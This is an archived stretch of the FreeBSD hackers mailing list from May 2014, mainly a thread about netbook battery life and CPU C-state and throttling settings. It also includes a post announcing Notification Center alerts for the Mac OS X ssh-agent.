coordinating potential sponsors for the work and soliciting proposals from people interested in doing the work. If you know of anyone in either category then please drop either me, core, or the Foundation an email. > Hello, Using every day one of my FreeBSD netbooks (see below), I know very well that improving power management and by this the uptime while running on battery is a serious issue. I'm currently surprised about the big diff between two of my netbooks, one running 1 hour only while the other runs ~4 hours. I'm thinking about building a cable connection between the battery and the netbooks to measure the exact power drain (normally one can not see this because the battery is connected into its bay and you can not put any meter in there). I'm an experienced C-programmer and long time FreeBSD user and tester and I'm willing to dig deeper into this work. Please let me know if there is something to work on. Attached below is a description of the two mentioned netbooks and their uptime values. Thanks matthias comparing battery life time of [EeePC 900] and [Acer Aspire One D250] | EeePC 900 | Acer Aspire One D250 ----------+-----------------------------+------------------------------------ CPU | 900 MHz Intel Celeron M 353 | 2x Intel Atom CPU N270 @ 1.60GHz RAM | 2 GByte | 1 GByte disk | 2x SSD (4 GB, 16 GB) | WDC WD2500BEVT-22ZCT0 11.01A11 | | ATA-8 SATA 2.x, 238475MB display | TFT 1024x600 9" | TFT 1024x600 10" FreeBSD | 10-CURRENT r255948 | 10-CURRENT r250588 KDE | 4.10.5 | 3.5.10 WAN (UMTS)| USB u3g Huawei E1750 | USB u3g Huawei E1750 ----------+-----------------------------+------------------------------------ battery | Li-ion A22-701 7.4V 7200mAh | Li-ion UM08B74 11.1V 5200mAh / 54Wh | 53.380Wh | 57.720Wh ----------+-----------------------------+------------------------------------ uptime | ~1 hours | ~4 hours ----------+-----------------------------+------------------------------------ -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 16:37:10 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C0CA761; Sat, 3 May 2014 16:37:10 +0000 (UTC) Received: from mail-qa0-x236.google.com (mail-qa0-x236.google.com [IPv6:2607:f8b0:400d:c00::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 169EF1C5E; Sat, 3 May 2014 16:37:10 +0000 (UTC) Received: by mail-qa0-f54.google.com with SMTP id j15so278021qaq.27 for ; Sat, 03 May 2014 09:37:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=CbA14A2fHx44b4O2YIv23ViZDG+z/b/71RlkI+M1CsE=; b=0k/DcEUF6lo5/hw5oyv8f7Vp68aOI2H/tui933YOZoiTC4z1F7vRNL99Z3x6jcRMAy g7vfZiQhIc/4Y53xl0Zp2rCYY4iVxHxN7i/FjQVQwE0lt4PDDl3LNPpRU2Rvy9moGQ0x P3DG8RKOUTNgrlCHKdO1s0VRz4kRgSsIX7topeVwxsVCh3EX5hA9Hi9iRTqJnLm+DJbc rQ5g7Swe/4bYt3GfkrewPD4MYmeKDs1xeydzFy9Qw2UTVCsWlUENHRvcXz3806Buy+VG QZ83Gtmxt4PkqzKnYSBvX3bwsudOfSxQ7hBW7fwM4gr1ZeM2zUnuIgcUG8OjZNOJBhL3 OLZw== MIME-Version: 1.0 X-Received: by 10.224.129.66 with SMTP id n2mr31756578qas.55.1399135028665; Sat, 03 May 2014 09:37:08 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sat, 3 May 2014 09:37:08 -0700 (PDT) In-Reply-To: <20140503155745.GA2457@La-Habana> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> Date: Sat, 3 May 2014 09:37:08 -0700 X-Google-Sender-Auth: v8sqdRgcX2M4K8UpaFh90JXm2Lo Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Matthias Apitz Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-advocacy@freebsd.org, "current@freebsd.org" , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 16:37:10 -0000 Hi, I'm working on adding some more power management logging support to freebsd-head so we can start to get a better grip on sleep/wakeup occurances. That should help us start to figure out where the power consumption is going. But on that EEEPC 900, just make sure you've set dev.cpu.0.cx_lowest to something lower than C1. -a On 3 May 2014 08:57, Matthias Apitz wrote: > El d=C3=ADa Tuesday, April 01, 2014 a las 08:38:28AM +0100, David Chisnal= l escribi=C3=B3: > >> >> Just a small note here: Improving power management is something that the= Core Team and the Foundation have jointly identified as an important goal,= in particular for mobile / embedded scenarios. We're currently coordinati= ng potential sponsors for the work and soliciting proposals from people int= erested in doing the work. If you know of anyone in either category then p= lease drop either me, core, or the Foundation an email. >> > > Hello, > > Using every day one of my FreeBSD netbooks (see below), I know very well > that improving power management and by this the uptime while running on > battery is a serious issue. I'm currently surprised about the big > diff between two of my netbooks, one running 1 hour only while the other > runs ~4 hours. I'm thinking about building a cable connection between > the battery and the netbooks to measure the exact power drain (normally > one can not see this because the battery is connected into its bay and > you can not put any meter in there). > > I'm an experienced C-programmer and long time FreeBSD user and tester > and I'm willing to dig deeper into this work. Please let me know if > there is something to work on. > > Attached below is a description of the two mentioned netbooks and their > uptime values. > > Thanks > > matthias > > > > comparing battery life time of [EeePC 900] and [Acer Aspire One D250] > > > | EeePC 900 | Acer Aspire One D250 > ----------+-----------------------------+--------------------------------= ---- > CPU | 900 MHz Intel Celeron M 353 | 2x Intel Atom CPU N270 @ 1.60GH= z > RAM | 2 GByte | 1 GByte > disk | 2x SSD (4 GB, 16 GB) | WDC WD2500BEVT-22ZCT0 11.01A11 > | | ATA-8 SATA 2.x, 238475MB > display | TFT 1024x600 9" | TFT 1024x600 10" > FreeBSD | 10-CURRENT r255948 | 10-CURRENT r250588 > KDE | 4.10.5 | 3.5.10 > WAN (UMTS)| USB u3g Huawei E1750 | USB u3g Huawei E1750 > ----------+-----------------------------+--------------------------------= ---- > battery | Li-ion A22-701 7.4V 7200mAh | Li-ion UM08B74 11.1V 5200mAh / = 54Wh > | 53.380Wh | 57.720Wh > ----------+-----------------------------+--------------------------------= ---- > uptime | ~1 hours | ~4 hours > ----------+-----------------------------+--------------------------------= ---- > > > -- > Matthias Apitz | /"\ ASCII Ribbon Campaign: > E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail > WWW: http://www.unixarea.de/ | X - No proprietary attachments > phone: +49-170-4527211 | / \ - Respect for open standards > | en.wikipedia.org/wiki/ASCII_Ribbon_Campaig= n > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 19:23:13 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A282F984; Sat, 3 May 2014 19:23:13 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5A5F91AE9; Sat, 3 May 2014 19:23:12 +0000 (UTC) Received: from [89.204.130.170] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WgfWf-0007Nm-HN; Sat, 03 May 2014 21:23:09 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s43JN6EF001928; Sat, 3 May 2014 21:23:07 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s43JN5RJ001927; Sat, 3 May 2014 21:23:05 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Sat, 3 May 2014 21:23:05 +0200 From: Matthias Apitz To: Adrian Chadd Subject: Re: Leaving the Desktop Market Message-ID: <20140503192305.GA1847@La-Habana> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 89.204.130.170 Cc: Eitan Adler , "freebsd-hackers@freebsd.org" , David Chisnall , "current@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Matthias Apitz List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 19:23:13 -0000 El día Saturday, May 03, 2014 a las 09:37:08AM -0700, Adrian Chadd escribió: > Hi, > > I'm working on adding some more power management logging support to > freebsd-head so we can start to get a better grip on sleep/wakeup > occurances. That should help us start to figure out where the power > consumption is going. > > But on that EEEPC 900, just make sure you've set dev.cpu.0.cx_lowest > to something lower than C1. Hi, I can't check it in my EeePC at the moment, because it has no power at all, its porwer suply faulted two days ago (broken cable). To which value I should have set dev.cpu.0.cx_lowest? I do not remember having it changed at all. Thx matthias -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 20:25:26 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A3F6DFF; Sat, 3 May 2014 20:25:26 +0000 (UTC) Received: from mail-qa0-x234.google.com (mail-qa0-x234.google.com [IPv6:2607:f8b0:400d:c00::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EA449124F; Sat, 3 May 2014 20:25:25 +0000 (UTC) Received: by mail-qa0-f52.google.com with SMTP id cm18so4614599qab.39 for ; Sat, 03 May 2014 13:25:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=oDJ9XQZPuTmi02jxlgp1d4LYRFwGD2cZtIcZ0HknjRI=; b=bD5JxOFhZZkO1kqHId4A2j8fNvwsAUh7PYzoh9w1gsIL32mYv9Dbq3uA+tYrkvxURh jvkML5bB79lta0wfKVjLqNKefYXI6oVh3exE4YPI7HDORKEoU0h/gI8aelGC8UzMoHXF IKMb+NVui9d9uWY+btq8rllexwSbTQDSBe31CzOtacFFd5+faFnffOE9xPpmCo2rkDWK TVkhkhF//VSaKpCi6Kf9Ba9ifZgfq4MVcdxCo1nYH50VRW9+dJ4CUV8VRs0ES28MdvWl IyzF38H3SrWZYhUgd/DIwwhQKF1QudIcC6xfjAHtVCNS9k0c92+8Ls7Og5ZPAt4vmlAA dR7Q== MIME-Version: 1.0 X-Received: by 10.140.42.85 with SMTP id b79mr27125055qga.87.1399148725080; Sat, 03 May 2014 13:25:25 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sat, 3 May 2014 13:25:24 -0700 (PDT) In-Reply-To: <20140503192305.GA1847@La-Habana> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> Date: Sat, 3 May 2014 13:25:24 -0700 X-Google-Sender-Auth: CZLf1eFonW7F3-9EnZmAhv_rZPU Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Matthias Apitz Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: Eitan Adler , "freebsd-hackers@freebsd.org" , David Chisnall , "current@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 20:25:26 -0000 Set it to the lowest available Cx state that you see in dev.cpu.0 . -a On 3 May 2014 12:23, Matthias Apitz wrote: > El d=C3=ADa Saturday, May 03, 2014 a las 09:37:08AM -0700, Adrian Chadd e= scribi=C3=B3: > >> Hi, >> >> I'm working on adding some more power management logging support to >> freebsd-head so we can start to get a better grip on sleep/wakeup >> occurances. That should help us start to figure out where the power >> consumption is going. >> >> But on that EEEPC 900, just make sure you've set dev.cpu.0.cx_lowest >> to something lower than C1. > > Hi, > > I can't check it in my EeePC at the moment, because it has no power at > all, its porwer suply faulted two days ago (broken cable). To which > value I should have set dev.cpu.0.cx_lowest? I do not remember having it > changed at all. > > Thx > > matthias > > > -- > Matthias Apitz | /"\ ASCII Ribbon Campaign: > E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail > WWW: http://www.unixarea.de/ | X - No proprietary attachments > phone: +49-170-4527211 | / \ - Respect for open standards > | en.wikipedia.org/wiki/ASCII_Ribbon_Campaig= n From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 23:59:50 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 55109211; Sat, 3 May 2014 23:59:50 +0000 (UTC) Received: from mail-pa0-x236.google.com (mail-pa0-x236.google.com [IPv6:2607:f8b0:400e:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1247C1520; Sat, 3 May 2014 23:59:50 +0000 (UTC) Received: by mail-pa0-f54.google.com with SMTP id lf10so7334244pab.13 for ; Sat, 03 May 2014 16:59:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=4h43RqIFCpqTc9+2BgTKXglHUMv5Ihl0muKKAY98bYQ=; b=a5kWGl11BVMlur1dUj5aLwdMcsbgwD3Pd9olsM4jJTl8T72YOfVCwbwRPAPs34aM/k cXtbjkL+L9KGazlKJ09ujDivxL+9PVUe3I07M0G+FxNFFPXyOcb59bGVYxqdnqbPMvl5 /4IBqtdZq6QMwt+57JH77YmJGv4SBwdGOU/KzQ4cklgXyGPib+i3DJrSVeM8Vf0PDlpG nNrB6BoH10sFcZ0m0KQsdeHHogaHEQfx64lQTKcOSaA5heVCi/Pg68vnzto97VLaLX4u Nr9x5I9NTmDu9unsX6G/YIMCi8JNQwynKM2MxaGjayz6jh5RbI7uESFlvb78O81T5NfT EhRQ== MIME-Version: 1.0 X-Received: by 10.66.124.137 with SMTP id mi9mr53239839pab.111.1399161588591; Sat, 03 May 2014 16:59:48 -0700 (PDT) Sender: kob6558@gmail.com Received: by 10.66.73.34 with HTTP; Sat, 3 May 2014 16:59:48 -0700 (PDT) In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> Date: Sat, 3 May 2014 16:59:48 -0700 X-Google-Sender-Auth: SiNOOJdpITx0SwCIrnkqRsK0d6k Message-ID: Subject: Re: Leaving the Desktop Market From: Kevin Oberman To: Adrian Chadd X-Mailman-Approved-At: Sun, 04 May 2014 00:16:05 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "current@freebsd.org" , Matthias Apitz , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 23:59:50 -0000 On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: > Set it to the lowest available Cx state that you see in dev.cpu.0 . > > Available is not required. Set it to C8. That guarantees that you will use the lowest available. The correct incantation in rc.conf is "Cmax". performance_cx_lowest="Cmax" economy_cx_lowest="Cmax" But, unless you want laggy performance, you will probably also want: hint.p4tcc.0.disabled=1 hint.acpi_throttle.0.disabled=1 in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix well and TCC is not effective, as mentioned earlier in this thread. -- R. Kevin Oberman, Network Engineer, Retired E-mail: rkoberman@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 01:07:38 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 11E833DD; Sun, 4 May 2014 01:07:38 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id D26A019C3; Sun, 4 May 2014 01:07:37 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 2EF861F8044; Sat, 3 May 2014 20:07:31 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id S8j2UB1cz2Lj; Sat, 3 May 2014 20:07:31 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id 374401F803C; Sat, 3 May 2014 20:07:30 -0500 (CDT) Message-ID: <536592D1.7080403@freebsd.org> Date: Sat, 03 May 2014 18:07:29 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Kevin Oberman , Adrian Chadd Subject: Re: Leaving the Desktop Market References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "current@freebsd.org" , Matthias Apitz , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 01:07:38 -0000 On 05/03/14 16:59, Kevin Oberman wrote: > On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: > >> Set it to the lowest available Cx state that you see in dev.cpu.0 . >> >> > Available is not required. Set it to C8. That guarantees that you will use > the lowest available. The correct incantation in rc.conf is "Cmax". > performance_cx_lowest="Cmax" > economy_cx_lowest="Cmax" > > But, unless you want laggy performance, you will probably also want: > hint.p4tcc.0.disabled=1 > hint.acpi_throttle.0.disabled=1 > in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix > well and TCC is not effective, as mentioned earlier in this thread. Is there any reason that TCC is on by default, actually? It seems like an anti-feature. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 02:11:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2128CF7E; Sun, 4 May 2014 02:11:23 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E3E321E5C; Sun, 4 May 2014 02:11:22 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.193]) by ltcfislmsgpa06.fnfis.com (8.14.5/8.14.5) with ESMTP id s442BERH002041 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Sat, 3 May 2014 21:11:14 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.193) with Microsoft SMTP Server id 14.3.174.1; Sat, 3 May 2014 21:11:13 -0500 From: Sender: Devin Teske To: Subject: [OT] Mac OS X Notification Center and ssh-agent Date: Sat, 3 May 2014 19:11:07 -0700 Message-ID: <034c01cf673e$1cc6af10$56540d30$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: Ac9nPILyfmHTBqSzQuiZZ/L8/RkBLQ== Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.96, 1.0.14, 0.0.0000 definitions=2014-05-03_03:2014-05-02,2014-05-03,1970-01-01 signatures=0 Cc: 'Devin Teske' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 02:11:23 -0000 Hi, Apologies for being off-topic (as this e-mail is Mac Specific) but I just wanted to share something that I think can help make our lives a little bit more secure (for those FreeBSD hackers and developers that use Macs). I took Apple's forked version of OpenSSH available from opensource.apple.com and I added support for Mac OS X 10.8+ Notification Center. The reason for this might be obvious, which is to have the ssh-agent in Mac OS X pop up a notification every time it uses my private key to sign a login request and keep a log of notifications. We can't always lock the keychain, put our machines to sleep, or kill the running ssh-agent every time we walk away from our Macs, so this addition not only helps notify me of compromised connections to my agent when I'm at the machine but also when I'm away from it. My friend had a set of patches for doing this with Growl, but now Growl is no longer free ($3.99 in the Mac App Store) and has become obsolete by the Notification Center. Here's an image of the notifications and the Notification Center where they stack up. http://devinteske.com/wp/wp-content/uploads/Screen-Shot-2014-05-03-at-3.56.1 0-PM.png Here's a binary that I made for 10.9.2,... http://druidbsd.sf.net/download/ssh-agent+notifications.osx-10.9.2.tbz But if you don't trust the binary (why should you?) here's the source... https://github.com/devinteske/apple/tree/master/OpenSSH-186/openssh And to compile it: ./configure --with-pam --with-audit=bsm make (you only need the resulting ssh-agent binary) I basically took Apple's forked version and added a new Obj-C file named ssh-agent-notify.m, a header for it, and modified Makefile.in as well as ssh-agent.c (it's all in the git repository linked-to above). Full blog on the deal... http://devinteske.com/ssh-agent-notifications-osx/ -- Cheers, Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 04:08:27 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B1C30AA5; Sun, 4 May 2014 04:08:27 +0000 (UTC) Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3BB9D18DF; Sun, 4 May 2014 04:08:27 +0000 (UTC) Received: by mail-qg0-f48.google.com with SMTP id i50so4971031qgf.21 for ; Sat, 03 May 2014 21:08:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=p0kNDIrfyU4fpSSXVTdOzh53zC4U6JBFRJuP0YKgRYs=; b=biufB8VG5BgpbNDT09NqK33WQdSwi0IKpSx0klkrYbhnZIWDj6rluv6tqgKEzNuQlU gRTw8hVj223mdZIN4P3dPVhjBbTyKkckm0Vn8HmKp9brZgjulAJMzt8wR4UQz5f48TE0 uHVSLhzY9uSkrLgghkJmdGlJ6g6JZsmbksx5i3sqA4skdeexNTvRIUBAMMf/ECAXLzCC hOeIPMUOx6H6KRAWWoB0Sz/Bk7ops80L96Rd1/s3h+fMSM2Xdkd7fUXBomFpGnH6a7e2 l3sAInTdd+JvXvKrRrkvNp2MhykonxFsMN4sLPPbeZn9Xkc/SQXFvlyCWVwVIjFtNPUV j+BQ== MIME-Version: 1.0 X-Received: by 10.224.67.131 with SMTP id r3mr34752071qai.75.1399176505925; Sat, 03 May 2014 21:08:25 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sat, 3 May 2014 21:08:25 -0700 (PDT) In-Reply-To: <536592D1.7080403@freebsd.org> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sat, 3 May 2014 21:08:25 -0700 X-Google-Sender-Auth: Yy6AE0V0tOCLax-dxNJLeP0JoCg Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Nathan Whitehorn Content-Type: text/plain; charset=UTF-8 Cc: "current@freebsd.org" , Eitan Adler , Matthias Apitz , David Chisnall , Kevin Oberman , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 04:08:27 -0000 TCC is fine. TCC for doing anything other than _thermal throttling_ these days isn't. I've been kind of trying hard to avoid touching it as I'm worried it'll stick to me, but something tells me i'm just going to have to bite the bullet and grab ownership of this stuff... :( -a On 3 May 2014 18:07, Nathan Whitehorn wrote: > On 05/03/14 16:59, Kevin Oberman wrote: >> >> On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: >> >>> Set it to the lowest available Cx state that you see in dev.cpu.0 . >>> >>> >> Available is not required. Set it to C8. That guarantees that you will use >> the lowest available. The correct incantation in rc.conf is "Cmax". >> performance_cx_lowest="Cmax" >> economy_cx_lowest="Cmax" >> >> But, unless you want laggy performance, you will probably also want: >> hint.p4tcc.0.disabled=1 >> hint.acpi_throttle.0.disabled=1 >> in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix >> well and TCC is not effective, as mentioned earlier in this thread. > > > Is there any reason that TCC is on by default, actually? It seems like an > anti-feature. > -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 04:16:33 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CB0A3D30; Sun, 4 May 2014 04:16:33 +0000 (UTC) Received: from mail-pd0-x229.google.com (mail-pd0-x229.google.com [IPv6:2607:f8b0:400e:c02::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 83B98198C; Sun, 4 May 2014 04:16:33 +0000 (UTC) Received: by mail-pd0-f169.google.com with SMTP id z10so5329613pdj.14 for ; Sat, 03 May 2014 21:16:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; 